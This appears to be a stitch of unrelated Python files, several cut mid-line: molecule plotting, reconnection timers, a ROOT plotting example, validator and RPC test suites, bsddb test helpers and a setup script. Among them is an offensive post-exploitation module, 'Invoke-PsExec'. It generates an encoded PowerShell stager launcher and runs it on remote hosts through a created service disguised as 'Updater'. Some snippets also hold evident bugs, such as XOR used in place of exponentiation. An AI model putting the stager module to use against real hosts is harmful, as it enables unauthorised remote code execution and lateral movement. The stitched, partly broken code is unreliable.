i,j = molecule.bondList[index]
midpoint = (molecule.posList[i]+molecule.posList[j])/2.
plt.annotate(bo, (midpoint[0], midpoint[1]), color='k', fontsize=20)
plt.axis('equal')
plt.show()
def scatter_obj(size_scale, fs):
"""
Return a scatter object for legend purposes.
"""
fig, ax = plt.subplots()
x,y = [], []
| c, s = [],[]
for i, z, name in zip(np.arange(6), [1,6,9,17,35], ['H', 'C', 'F', 'Cl', 'Br']):
x.append(0.)
y.append(-i*.2)
c.append(atomColors[z])
s.append(1.5* | size_scale*radList[z])
ax.text(.005, -i*.2, name, fontsize=fs)
ax.scatter(x,y , c=c, s=s, edgecolors='k')
ax.axis('off')
def bonds3d(molecule, sites=False, indices=False, save=False,
linewidth=2.):
"""Draw the molecule's bonds
Keywords:
sites (bool): Set True to draw atomic sites. Default is False.
indices (bool): Set True to draw atomic site indices near atomic sites. Default is False."""
fig = plt.figure()
ax=Axes3D(fig)
figTitle = molecule.name
plotSize = 5
posList = molecule.posList/molecule.ff.lunits
length = len(posList)
for bond in molecule.bondList:
i,j = bond
ax.plot([posList[i][0],posList[j][0]],
[posList[i][1],posList[j][1]],
[posList[i][2],posList[j][2]],
color='k', zorder=-1, linewidth=linewidth)
cList = np.zeros([length,3])
if sites:
for count in range(len(molecule)):
cList[count] = colors.hex2color(colors.cnames[atomColors[molecule.zList[count]]])
ax.scatter(posList[:,0],posList[:,1],posList[:,2],
s=radList[molecule.zList],c=cList,
marker='o',depthshade=False,
edgecolors='k')
if indices:
ds = 0.1
for index,pos in enumerate(posList):
x,y,z = pos
ax.text(x+ds,y+ds,z+ds,str(index),color="blue")
fig.suptitle(figTitle, fontsize=18)
ax.grid(False)
ax._axis3don = False
ax.set_xlim3d(-plotSize,plotSize)
ax.set_ylim3d(-plotSize,plotSize)
ax.set_zlim3d(-plotSize,plotSize)
ax.set_xlabel('x-position' + ' (' + r'$\AA$' + ')')
ax.set_ylabel('y-position' + ' (' + r'$\AA$' + ')')
ax.set_zlabel('z-position' + ' (' + r'$\AA$' + ')')
if save:
plt.savefig("./kappa_save/%s.png" % molecule.name)
plt.show()
def bonds3d_list(molList, sites=False, indices=False, save=False,
linewidth=2.):
"""Draw the molecule's bonds
Keywords:
sites (bool): Set True to draw atomic sites. Default is False.
indices (bool): Set True to draw atomic site indices near atomic sites. Default is False."""
fig = plt.figure()
ax=Axes3D(fig)
plotSize = 5
for molecule in molList:
posList = molecule.posList/molecule.ff.lunits
length = len(posList)
for bond in molecule.bondList:
i,j = bond
ax.plot([posList[i][0],posList[j][0]],
[posList[i][1],posList[j][1]],
[posList[i][2],posList[j][2]],
color='k', zorder=-1, linewidth=linewidth)
cList = np.zeros([length,3])
if sites:
for count in range(len(molecule)):
cList[count] = colors.hex2color(colors.cnames[atomColors[molecule.zList[count]]])
ax.scatter(posList[:,0],posList[:,1],posList[:,2],
s=radList[molecule.zList],c=cList,
marker='o',depthshade=False,
edgecolors='k')
if indices:
ds = 0.1
for index,pos in enumerate(posList):
x,y,z = pos
ax.text(x+ds,y+ds,z+ds,str(index),color="blue")
ax.grid(False)
ax._axis3don = False
ax.set_xlim3d(-plotSize,plotSize)
ax.set_ylim3d(-plotSize,plotSize)
ax.set_zlim3d(-plotSize,plotSize)
ax.set_xlabel('x-position' + ' (' + r'$\AA$' + ')')
ax.set_ylabel('y-position' + ' (' + r'$\AA$' + ')')
ax.set_zlabel('z-position' + ' (' + r'$\AA$' + ')')
if save:
plt.savefig("./kappa_save/%s.png" % molecule.name)
plt.show()
def face(molecule, facenum):
"""Plot the given interface of the molecule"""
mol = copy.deepcopy(molecule)
face = mol.faces[facenum]
fig = plt.figure()
#rotate molecule to 'camera' position
axis = np.cross(face.norm, np.array([0.,0.,1.]))
mag = np.linalg.norm(axis)
if mag < 1e-10:
#check for parallel/anti-parallel
dot = np.dot(face.norm, np.array([0.,0.,1.]))
if dot < 0.:
#don't rotate
pass
if dot >0.:
#fli |
from time import sleep
import math
__author__ = 'sergio'
## @package clitellum.endpoints.channels.reconnectiontimers
# Este paquete contiene las clases para los temporizadores de reconexion
#
## Metodo factoria que crea una instancia de un temporizador
# instantaneo
def CreateInstantTimer():
return InstantReconnectionTimer()
## Metodo factoria que crea una instancia de un temporizador
# logaritmico
def CreateLogarithmicTimer():
return LogarithmicReconnectionTimer()
## Metodo factoria que crear una instancia de un temporizador de tiempo constante
def CreateConstantTimer(waiting_time=5):
return ConstantReconnectionTimer(waiting_time=waiting_time)
## Crea una temporizador en funcion del tipo especificado
# @param type Tipo de temporizador "Instant", "Logarithmic"
def CreateTimerFormType(type):
if type == "Instant":
return CreateInstantTimer()
elif type == 'Constant':
return ConstantReconnectionTimer()
else:
return CreateLogarithmicTimer()
## Crea un temporizador a partir de una configuracion
# { type :'Instant' }
# { type :'Constant', time : 10 }
# { type :'Logarithmic' }
def CreateTimerFormConfig(config):
if config['type'] == "Instant":
return CreateInstantTimer()
elif config['type'] == 'Constant':
if not config.get['time'] is None:
return ConstantReconnectionTimer(config['time'])
else:
return ConstantReconnectionTimer()
else:
return CreateLogarithmicTimer()
## Clase base que proporciona la estructura basica de un temporizador de reconexion
class | ReconnectionTimer:
## Crea una instancia del temporizador de reconexion
def __init__(self):
pass
## Se espera una vuelta del ciclo antes de continuar
def wait(self):
pass
## Reinicia el temporizador
def reset(self):
pass
## Clase que proporciona un temporizador de reconexion instantaneo,
# no hay tiempo de espera entre un ciclo y el siguiente
class InstantReconnectionTimer(ReconnectionTimer):
## Crea una instancia del temporizad | or instantaneo
def __init__(self):
ReconnectionTimer.__init__(self)
## Convierte la instancia a string
def __str__(self):
return "Instant Reconnection Timer"
## Define un temporizador de reconexion en el que el tiempo de espera entre un ciclo
# y el siguiente es logaritmico, .
class LogarithmicReconnectionTimer(ReconnectionTimer):
def __init__(self):
ReconnectionTimer.__init__(self)
self.__seed = 1
def wait(self):
waitingTime = ((1 + (1 / self.__seed)) ^ self.__seed) * (1 + math.log10(self.__seed))
if waitingTime < 0:
waitingTime = 0
sleep(waitingTime)
self.__seed += 1
def reset(self):
self.__seed = 1
## Convierte la instancia a string
def __str__(self):
return "Logarithmic Reconnection Timer, seed: %s" % self.__seed
## Define un temporizador de reconexion en el que el tiempo de espera entre un ciclo
# y el siguiente es logaritmico, .
class ConstantReconnectionTimer(ReconnectionTimer):
def __init__(self, waiting_time=5):
ReconnectionTimer.__init__(self)
self.__waiting_time = waiting_time
def wait(self):
sleep(self.__waiting_time)
def reset(self):
pass
## Convierte la instancia a string
def __str__(self):
return "Constant Reconnection Timer, seed: %s" % self.__waiting_time |
#!/usr/bin/env python
"""
=================================================
Draw a Quantile-Quantile Plot and Confidence Band
=================================================
This is an example of drawing a quantile-quantile plot with a confidence level
(CL) band.
"""
print __doc__
import ROOT
from rootpy.interactive import wait
from rootpy.plotting import Hist, Canvas, Legend, set_style
from rootpy.plotting.contrib.quantiles import qqgraph
set_style('ATLAS')
c = Canvas(width=1200, height=600)
c.Divide(2, 1, 1e-3, 1e-3)
rand = ROOT.TRandom3()
h1 = Hist(100, -5, 5, name="h1", title="Histogram 1",
linecolor='red', legendstyle='l')
h2 = Hist(100, -5, 5, name="h2", title="Histogram 2",
linecolor='blue', legendstyle='l')
for ievt in xrange(10000):
h1.Fill(rand.Gaus(0, 0.8))
h2.Fill(rand.Gaus(0, 1))
pad = c.cd(1)
h1.Draw('hist')
h2.Draw('hist same')
leg = Legend([h1, h2], pad=pad, leftmargin=0.5,
topmargin=0.11, rightmargin=0.05,
textsize=20)
leg.Draw()
pad = c.cd(2)
gr = qqgraph(h1, h2)
gr.xaxis.title = h1.title
gr.yaxis.title = h2.title
gr.fillcolor = 17
gr.fillstyle = 'solid'
gr.linecolor = 17
gr.markercolor = 'darkred'
gr.markerstyle = 20
gr.title = "QQ with CL"
gr.Draw("ap")
x_min = gr.GetXaxis().GetXmin()
x_max = gr.GetXaxis().GetXmax()
y_min = gr.GetXaxis().GetXmin()
y_max = gr.GetXaxis( | ).GetXmax()
gr.Draw('a3')
gr.Draw('Xp same')
# a straight line y=x to be a reference
f_dia = ROOT.TF1("f_dia", "x",
h1.GetXaxis().GetXmin(),
h1.GetXaxis().GetXmax( | ))
f_dia.SetLineColor(9)
f_dia.SetLineWidth(2)
f_dia.SetLineStyle(2)
f_dia.Draw("same")
leg = Legend(3, pad=pad, leftmargin=0.45,
topmargin=0.45, rightmargin=0.05,
textsize=20)
leg.AddEntry(gr, "QQ points", "p")
leg.AddEntry(gr, "68% CL band", "f")
leg.AddEntry(f_dia, "Diagonal line", "l")
leg.Draw()
c.Modified()
c.Update()
c.Draw()
wait()
|
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-PsExec',
'Author': ['@harmj0y'],
'Description': ('Executes a stager on remote hosts using PsExec type functionality.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : False,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : False,
'Value' : ''
},
'ComputerName' : {
'Description' : 'Host[s] to execute the stager on, comma separated.',
'Required' : True,
'Value' : ''
},
'ServiceName' : {
'Description' : 'The name of the service to create.',
'Required' : True,
'Value' : 'Updater'
},
'Command' : {
'Description' : 'Custom command to execute on remote hosts.',
'Required' : False,
'Value' | : ''
},
'ResultFile' : {
'Description' : 'Name of the file to write the results to on agent machine.',
'Required' : False,
'Value' : ''
},
'UserAgent' : {
| 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
listenerName = self.options['Listener']['Value']
computerName = self.options['ComputerName']['Value']
serviceName = self.options['ServiceName']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
command = self.options['Command']['Value']
resultFile = self.options['ResultFile']['Value']
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-PsExec.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
if command != "":
# executing a custom command on the remote machine
return ""
# if
else:
if not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: " + listenerName)
return ""
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == "":
print helpers.color("[!] Error in launcher generation.")
return ""
else:
stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
script += "Invoke-PsExec -ComputerName %s -ServiceName \"%s\" -Command \"%s\"" % (computerName, serviceName, stagerCmd)
script += "| Out-String | %{$_ + \"`n\"};"
return script
|
d in validateData.main_validate()
validator_logger = logging.getLogger(validateData.__name__)
# flush and close all handlers of this logger
for logging_handler in validator_logger.handlers:
logging_handler.close()
# remove the handlers from the logger to reset it
validator_logger.handlers = []
super(ValidateDataSystemTester, self).tearDown()
def assertFileGenerated(self, tmp_file_name, expected_file_name):
"""Assert that a file has been generated with the expected contents."""
self.assertTrue(os.path.exists(tmp_file_name))
with open(tmp_file_name, 'r') as out_file, \
open(expected_file_name, 'r') as ref_file:
base_filename = os.path.basename(tmp_file_name)
diff_result = difflib.context_diff(
ref_file.readlines(),
out_file.readlines(),
fromfile='Expected {}'.format(base_filename),
tofile='Generated {}'.format(base_filename))
diff_line_list = list(diff_result)
self.assertEqual(diff_line_list, [],
msg='\n' + ''.join(diff_line_list))
# remove temp file if all is fine:
try:
os.remove(tmp_file_name)
except WindowsError:
# ignore this Windows specific error...probably happens because of virus scanners scanning the temp file...
pass
def test_exit_status_success(self):
'''study 0 : no errors, expected exit_status = 0.
If there are errors, the script should return
0: 'succeeded',
1: 'failed',
2: 'not performed as problems occurred',
3: 'succeeded with warnings'
'''
# build up the argument list
print("===study 0")
args = ['--study_directory', 'test_data/study_es_0/',
'--portal_info_dir', PORTAL_INFO_DIR, '-v']
# execute main function with arguments provided as if from sys.argv
args = validateData.interface(args)
exit_status = validateData.main_validate(args)
self.assertEqual(0, exit_status)
def test_exit_status_failure(self):
'''study 1 : errors, expected exit_status = 1.'''
#Build up arguments and run
print("===study 1")
args = ['--study_directory', 'test_data/study_es_1/',
'--portal_info_dir', PORTAL_INFO_DIR, '-v']
args = validateData.interface(args)
# Execute main function with arguments provided through sys.argv
exit_status = validateData.main_validate(args)
self.assertEqual(1, exit_status)
def test_exit_status_invalid(self):
'''test to fail: give wrong hugo file, or let a meta file point to a non-existing data file, expected exit_status = 2.'''
#Build up arguments and run
print("===study invalid")
args = ['--study_directory', 'test_data/study_es_invalid/',
'--portal_info_dir', PORTAL_INFO_DIR, '-v']
args = validateData.interface(args)
# Execute main function with arguments provided through sys.argv
exit_status = validateData.main_validate(args)
self.assertEqual(2, exit_status)
def test_exit_status_warnings(self):
'''study 3 : warnings only, expected exit_status = 3.'''
# data_filename: test
#Build up arguments and run
print("===study 3")
args = ['--study_directory', 'test_data/study_es_3/',
'--portal_info_dir', PORTAL_INFO_DIR, '-v']
args = validateData.interface(args)
# Execute main function with arguments provided through sys.argv
exit_status = validateData.main_validate(args)
self.assertEqual(3, exit_status)
def test_html_output(self):
'''
Test if html file is correctly generated when 'html_table' is given
'''
#Build up arguments and run
out_file_name = 'test_data/study_es_0/result_report.html~'
args = ['--study_directory', 'test_data/study_es_0/',
'--portal_info_dir', PORTAL_INFO_DIR, '-v',
'--html_table', out_file_name]
args = validateData.interface(args)
# Execute main function with arguments provided through sys.argv
exit_status = validateData.main_validate(args)
self.assertEqual(0, exit_status)
self.assertFileGenerated(out_file_name,
'test_data/study_es_0/result_report.html')
def test_portal_mismatch(self):
'''Test if validation fails when data contradicts the portal.'''
# build up arguments and run
argv = ['--study_directory', 'test_data/study_portal_mismatch',
'--portal_info_dir', PORTAL_INFO_DIR, '--verbose']
parsed_args = validateData.interface(argv)
exit_status = validateData.main_validate(parsed_args)
# flush logging handlers used in validateData
validator_logger = logging.getLogger(validateData.__name__)
for logging_handler in validator_logger.handlers:
logging_handler.flush()
# expecting only warnings (about the skipped checks), no errors
self.assertEqual(exit_status, 1)
def test_no_portal_checks(self):
'''Test if validation skips portal-specific checks when instructed.'''
# build up arguments and run
argv = ['--study_directory', 'test_data/study_portal_mismatch',
'--verbose',
'--no_portal_checks']
parsed_args = validateData.interface(argv)
exit_status = validateData.main_validate(parsed_args)
# flush logging handlers used in validateData
validator_logger = logging.getLogger(validateData.__name__)
for logging_handler in validator_logger.handlers:
logging_handler.flush()
# expecting only warnings (about the skipped checks), no errors
self.assertEqual(exit_status, 3)
def test_problem_in_clinical(self):
'''Test whether the script aborts if the sample file cannot be parsed.
Further files cannot be validated in this case, as all sample IDs will
be undefined. Validate if th | e script is | giving the proper error.
'''
# build the argument list
out_file_name = 'test_data/study_wr_clin/result_report.html~'
print('==test_problem_in_clinical==')
args = ['--study_directory', 'test_data/study_wr_clin/',
'--portal_info_dir', PORTAL_INFO_DIR, '-v',
'--html_table', out_file_name]
# execute main function with arguments provided as if from sys.argv
args = validateData.interface(args)
exit_status = validateData.main_validate(args)
self.assertEqual(1, exit_status)
# TODO - set logger in main_validate and read out buffer here to assert on nr of errors
self.assertFileGenerated(out_file_name,
'test_data/study_wr_clin/result_report.html')
def test_various_issues(self):
'''Test if output is generated for a mix of errors and warnings.
This includes HTML ouput, the error line file and the exit status.
'''
# build the argument list
html_file_name = 'test_data/study_various_issues/result_report.html~'
error_file_name = 'test_data/study_various_issues/error_file.txt~'
args = ['--study_directory', 'test_data/study_various_issues/',
'--portal_info_dir', PORTAL_INFO_DIR, '-v',
'--html_table', html_file_name,
'--error_file', error_file_name]
args = validateData.interface(args)
# execute main function with arguments provided through sys.argv
exit_status = validateData.main_validate(args)
# flush logging handlers used in validateData
validator_logger = logging.getLogger(validateData.__name__)
for logging_handler in validator_logger.handlers:
logging_handler.flush()
# should fail because of various errors in addition to warnings
self.assertEqual(1, exit_status)
|
t=cls.rpc_timeout)
@classmethod
def tearDownClass(cls):
if cls.app_cfg:
return send('arbiter', 'kill_actor', cls.app_cfg.name)
def setUp(self):
self.assertEqual(self.p.url, self.uri)
self.assertTrue(str(self.p))
proxy = self.p.bla
self.assertEqual(proxy.name, 'bla')
self.assertEqual(proxy.url, self.uri)
self.assertEqual(proxy._client, self.p)
self.assertEqual(str(proxy), 'bla')
def test_wsgi_handler(self):
cfg = self.app_cfg
self.assertTrue(cfg.callable)
wsgi_handler = cfg.callable.setup({})
self.assertEqual(len(wsgi_handler.middleware), 2)
router = wsgi_handler.middleware[1]
self.assertEqual(router.route.path, '/')
root = router.post
self.assertEqual(len(root.subHandlers), 1)
hnd = root.subHandlers['calc']
self.assertFalse(hnd.isroot())
self.assertEqual(hnd.subHandlers, {})
| # Pulsar server commands
def test_ping(self):
response = yield from self.p.ping()
self.assertEqual(response, 'pong')
def test_functions_list(self):
result = yield from self.p.functions_list()
self.assertTrue(result)
d = dict(result)
self.assertTrue('ping' in d)
self.assertTrue('echo' in d)
self.assertTrue('functions_list' in d)
self.assertTrue('calc.add' in d)
| self.assertTrue('calc.divide' in d)
def test_time_it(self):
'''Ping server 5 times'''
bench = yield from self.p.timeit('ping', 5)
self.assertTrue(len(bench.result), 5)
self.assertTrue(bench.taken)
# Test Object method
def test_check_request(self):
result = yield from self.p.check_request('check_request')
self.assertTrue(result)
def test_add(self):
response = yield from self.p.calc.add(3, 7)
self.assertEqual(response, 10)
def test_subtract(self):
response = yield from self.p.calc.subtract(546, 46)
self.assertEqual(response, 500)
def test_multiply(self):
response = yield from self.p.calc.multiply(3, 9)
self.assertEqual(response, 27)
def test_divide(self):
response = yield from self.p.calc.divide(50, 25)
self.assertEqual(response, 2)
def test_info(self):
response = yield from self.p.server_info()
self.assertTrue('server' in response)
server = response['server']
self.assertTrue('version' in server)
app = response['monitors'][self.app_cfg.name]
if self.concurrency == 'thread':
self.assertFalse(app['workers'])
worker = app
else:
workers = app['workers']
self.assertEqual(len(workers), 1)
worker = workers[0]
name = '%sserver' % self.app_cfg.name
if name in worker:
self._check_tcpserver(worker[name]['server'])
def _check_tcpserver(self, server):
sockets = server['sockets']
if sockets:
self.assertEqual(len(sockets), 1)
sock = sockets[0]
self.assertEqual(sock['address'],
'%s:%s' % self.app_cfg.addresses[0])
def test_invalid_params(self):
return self.async.assertRaises(rpc.InvalidParams, self.p.calc.add,
50, 25, 67)
def test_invalid_params_fromApi(self):
return self.async.assertRaises(rpc.InvalidParams, self.p.calc.divide,
50, 25, 67)
def test_invalid_function(self):
p = self.p
yield from self.async.assertRaises(rpc.NoSuchFunction, p.foo, 'ciao')
yield from self.async.assertRaises(rpc.NoSuchFunction,
p.blabla)
yield from self.async.assertRaises(rpc.NoSuchFunction,
p.blabla.foofoo)
yield from self.async.assertRaises(rpc.NoSuchFunction,
p.blabla.foofoo.sjdcbjcb)
def testInternalError(self):
return self.async.assertRaises(rpc.InternalError, self.p.calc.divide,
'ciao', 'bo')
def testCouldNotserialize(self):
return self.async.assertRaises(rpc.InternalError, self.p.dodgy_method)
def testpaths(self):
'''Fetch a sizable ammount of data'''
response = yield from self.p.calc.randompaths(num_paths=20, size=100,
mu=1, sigma=2)
self.assertTrue(response)
def test_echo(self):
response = yield from self.p.echo('testing echo')
self.assertEqual(response, 'testing echo')
def test_docs(self):
handler = Root({'calc': Calculator})
self.assertEqual(handler.parent, None)
self.assertEqual(handler.root, handler)
self.assertRaises(rpc.NoSuchFunction, handler.get_handler,
'cdscsdcscd')
calc = handler.subHandlers['calc']
self.assertEqual(calc.parent, handler)
self.assertEqual(calc.root, handler)
docs = handler.docs()
self.assertTrue(docs)
response = yield from self.p.documentation()
self.assertEqual(response, docs)
def test_batch_one_call(self):
bp = rpc.JsonBatchProxy(self.uri, timeout=self.rpc_timeout)
call_id1 = bp.ping()
self.assertIsNotNone(call_id1)
self.assertEqual(len(bp), 1)
batch_generator = yield from bp
self.assertIsInstance(batch_generator, types.GeneratorType)
self.assertEqual(len(bp), 0)
for ind, batch_response in enumerate(batch_generator):
self.assertEqual(ind, 0)
self.assertEqual(call_id1, batch_response.id)
self.assertEqual(batch_response.result, 'pong')
self.assertIsNone(batch_response.exception)
def test_batch_few_call(self):
bp = rpc.JsonBatchProxy(self.uri, timeout=self.rpc_timeout)
call_id1 = bp.ping()
self.assertIsNotNone(call_id1)
self.assertEqual(len(bp), 1)
call_id2 = bp.calc.add(1, 1)
self.assertIsNotNone(call_id2)
self.assertEqual(len(bp), 2)
batch_generator = yield from bp
self.assertIsInstance(batch_generator, types.GeneratorType)
self.assertEqual(len(bp), 0)
for ind, batch_response in enumerate(batch_generator):
self.assertIn(ind, (0, 1))
if call_id1 == batch_response.id:
self.assertEqual(batch_response.result, 'pong')
self.assertIsNone(batch_response.exception)
elif call_id2 == batch_response.id:
self.assertEqual(batch_response.result, 2)
self.assertIsNone(batch_response.exception)
def test_batch_error_response_call(self):
bp = rpc.JsonBatchProxy(self.uri, timeout=self.rpc_timeout)
call_id1 = bp.ping('wrong param')
self.assertIsNotNone(call_id1)
self.assertEqual(len(bp), 1)
batch_generator = yield from bp
self.assertIsInstance(batch_generator, types.GeneratorType)
self.assertEqual(len(bp), 0)
for ind, batch_response in enumerate(batch_generator):
self.assertEqual(ind, 0)
self.assertEqual(call_id1, batch_response.id)
self.assertIsInstance(batch_response.exception, rpc.InvalidParams)
self.assertIsNone(batch_response.result)
def test_batch_full_response_call(self):
bp = rpc.JsonBatchProxy(self.uri, timeout=self.rpc_timeout,
full_response=True)
bp.ping()
bp.ping()
bp.ping()
self.assertEqual(len(bp), 3)
response = yield from bp
self.assertIsInstance(response, http.HttpResponse)
self.assertEqual(response.status_code, 200)
self.assertEqual(len(bp), 0)
@dont_run_with_thread
class TestRpcOnProcess(TestRpcOnThread):
concurrency = 'process'
# Synchronous client
def test_sync_ping(self):
sync = rpc.JsonProxy(self.uri, sync=True)
self.assertEqual(sync |
ef delete(self, key, txn=None) :
if isinstance(key, str) :
key = bytes(key, charset)
return self._db.delete(key, txn=txn)
def keys(self) :
k = self._db.keys()
if len(k) and isinstance(k[0], bytes) :
return [i.decode(charset) for i in self._db.keys()]
else :
return k
def items(self) :
data = self._db.items()
if not len(data) : return data
data2 = []
for k, v in data :
if isinstance(k, bytes) :
k = k.decode(charset)
data2.append((k, v.decode(charset)))
return data2
def associate(self, secondarydb, callback, flags=0, txn=None) :
class associate_callback(object) :
def __init__(self, callback) :
self._callback = callback
def callback(self, key, data) :
if isinstance(key, str) :
key = key.decode(charset)
data = data.decode(charset)
key = self._callback(key, data)
if (key != bsddb._db.DB_DONOTINDEX) :
if isinstance(key, str) :
key = bytes(key, charset)
elif isinstance(key, list) :
key2 = []
for i in key :
if isinstance(i, str) :
i = bytes(i, charset)
key2.append(i)
key = key2
return key
return self._db.associate(secondarydb._db,
associate_callback(callback).callback, flags=flags,
txn=txn)
def cursor(self, txn=None, flags=0) :
return cursor_py3k(self._db, txn=txn, flags=flags)
def join(self, cursor_list) :
cursor_list = [i._dbcursor for i in cursor_list]
return dup_cursor_py3k(self._db.join(cursor_list))
class DBEnv_py3k(object) :
def __init__(self, *args, **kwargs) :
self._dbenv = bsddb._db.DBEnv_orig(*args, **kwargs)
def __getattr__(self, v) :
return getattr(self._dbenv, v)
def log_cursor(self, flags=0) :
return logcursor_py3k(self._dbenv)
def get_lg_dir(self) :
return self._dbenv.get_lg_dir().decode(charset)
def get_tmp_dir(self) :
return self._dbenv.get_tmp_dir().decode(charset)
def get_data_dirs(self) :
return tuple(
(i.decode(charset) for i in self._dbenv.get_data_dirs()))
class DBSequence_py3k(object) :
def __init__(self, db, *args, **kwargs) :
self._db=db
self._dbsequence = bsddb._db.DBSequence_orig(db._db, *args, **kwargs)
def __getattr__(self, v) :
return getattr(self._dbsequence, v)
def open(self, key, *args, **kwargs) :
return self._dbsequence.open(bytes(key, charset), *args, **kwargs)
def get_key(self) :
return self._dbsequence.get_key().decode(charset)
def get_dbp(self) :
return self._db
bsddb._db.DBEnv_orig = bsddb._db.DBEnv
bsddb._db.DB_orig = bsddb._db.DB
if bsddb.db.version() <= (4, 3) :
bsddb._db.DBSequence_orig = None
else :
bsddb._db.DBSequence_orig = bsddb._db.DBSequence
def do_proxy_db_py3k(flag) :
flag2 = do_proxy_db_py3k.flag
do_proxy_db_py3k.flag = flag
if flag :
bsddb.DBEnv = bsddb.db.DBEnv = bsddb._db.DBEnv = DBEnv_py3k
bsddb.DB = bsddb.db.DB = bsddb._db.DB = DB_py3k
bsddb._db.DBSequence = DBSequence_py3k
else :
bsddb.DBEnv = bsddb.db.DBEnv = bsddb._db.DBEnv = bsddb._db.DBEnv_orig
bsddb.DB = bsddb.db.DB = bsddb._db.DB = bsddb._db.DB_orig
bsddb._db.DBSequence = bsddb._db.DBSequence_orig
return flag2
do_proxy_db_py3k.flag = False
do_proxy_db_py3k(True)
try:
# For Pythons w/distutils pybsddb
from bsddb3 import db, dbtables, dbutils, dbshelve, \
hashopen, btopen, rnopen, dbobj
except ImportError:
# For Python 2.3
from bsddb import db, dbtables, dbutils, dbshelve, \
hashopen, btopen, rnopen, dbobj
try:
from bsddb3 import test_support
except ImportError:
if sys.version_info[0] < 3 :
from test import test_support
else :
from test import support as test_support
try:
if sys.version_info[0] < 3 :
from threading import Thread, currentThread
del Thread, currentThread
else :
from threading import Thread, current_thread
del Thread, current_thread
have_threads = True
except ImportError:
have_threads = False
verbose = 0
if 'verbose' in sys.argv:
verbose = 1
sys.argv.remove('verbose')
if 'silent' in sys.argv: # take care of old flag, just in case
verbose = 0
sys.argv.remove('silent')
def print_versions():
print
print '-=' * 38
print db.DB_VERSION_STRING
print 'bsddb.db.version(): %s' % (db.version(), )
if db.version() >= (5, 0) :
print 'bsddb.db.full_version(): %s' %repr(db.full_version())
print 'bsddb.db.__version__: %s' % db.__version__
print 'bsddb.db.cvsid: %s' % db.cvsid
# Workaround for allowing generating an EGGs as a ZIP files.
suffix="__"
print 'py module: %s' % getattr(bsddb, "__file"+suffix)
print 'extension module: %s' % getattr(bsddb, "__file"+suffix)
print 'python version: %s' % sys.version
print 'M | y pid: %s' % os.getpid()
print '-=' * 38
def get_new_path(name) :
get_new_path.mutex.acquire()
try :
import os
path=os.path.join(get_new_path.prefix,
| name+"_"+str(os.getpid())+"_"+str(get_new_path.num))
get_new_path.num+=1
finally :
get_new_path.mutex.release()
return path
def get_new_environment_path() :
path=get_new_path("environment")
import os
try:
os.makedirs(path,mode=0700)
except os.error:
test_support.rmtree(path)
os.makedirs(path)
return path
def get_new_database_path() :
path=get_new_path("database")
import os
if os.path.exists(path) :
os.remove(path)
return path
# This path can be overriden via "set_test_path_prefix()".
import os, os.path
get_new_path.prefix=os.path.join(os.environ.get("TMPDIR",
os.path.join(os.sep,"tmp")), "z-Berkeley_DB")
get_new_path.num=0
def get_test_path_prefix() :
return get_new_path.prefix
def set_test_path_prefix(path) :
get_new_path.prefix=path
def remove_test_path_directory() :
test_support.rmtree(get_new_path.prefix)
if have_threads :
import threading
get_new_path.mutex=threading.Lock()
del threading
else :
class Lock(object) :
def acquire(self) :
pass
def release(self) :
pass
get_new_path.mutex=Lock()
del Lock
class PrintInfoFakeTest(unittest.TestCase):
def testPrintVersions(self):
print_versions()
# This little hack is for when this module is run as main and all the
# other modules import it so they will still be able to get the right
# verbose setting. It's confusing but it works.
if sys.version_info[0] < 3 :
import test_all
test_all.verbose = verbose
else :
import sys
print >>sys.stderr, "Work to do!"
def suite(module_prefix='', timing_check=None):
test_modules = [
'test_associate',
'test_basics',
'test_dbenv',
'test_db',
'test_compare',
'test_compat',
'test_cursor_pget_bug',
'test_dbobj',
'test_dbshelve',
'test_dbtables',
|
# -*- coding: utf-8 -*-
from distutils.core import setup
import os.path
classifiers = [
"Programming Language :: Python",
"Programming Language :: Python :: 3",
"Development Status :: 4 - B | eta",
"Intended Audience :: Developers",
"License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)",
"Operating System :: OS Independent",
"Topic :: Software Development :: Libraries :: Python Modules",
]
def read(fname):
fname = os.path.join(os.path.dirname(__file__), fname)
return open(fname).read().strip()
def read_files(*fnames):
return '\r\n\r\n\r\n'.join(map(read, fn | ames))
setup(
name = 'icall',
version = '0.3.4',
py_modules = ['icall'],
description = 'Parameters call function, :-)',
long_description = read_files('README.rst', 'CHANGES.rst'),
author = 'huyx',
author_email = 'ycyuxin@gmail.com',
url = 'https://github.com/huyx/icall',
keywords = ['functools', 'function', 'call'],
classifiers = classifiers,
)
|
#! /usr/bin/python
import sys
import os
import json
import grpc
import time
import subprocess
from google.oauth2 import service_account
import google.oauth2.credentials
import google.auth.transport.requests
import google.auth.transport.grpc
from google.firestore.v1beta1 import firestore_pb2
from google.firestore.v1beta1 import firestore_pb2_grpc
from google.firestore.v1beta1 import document_pb2
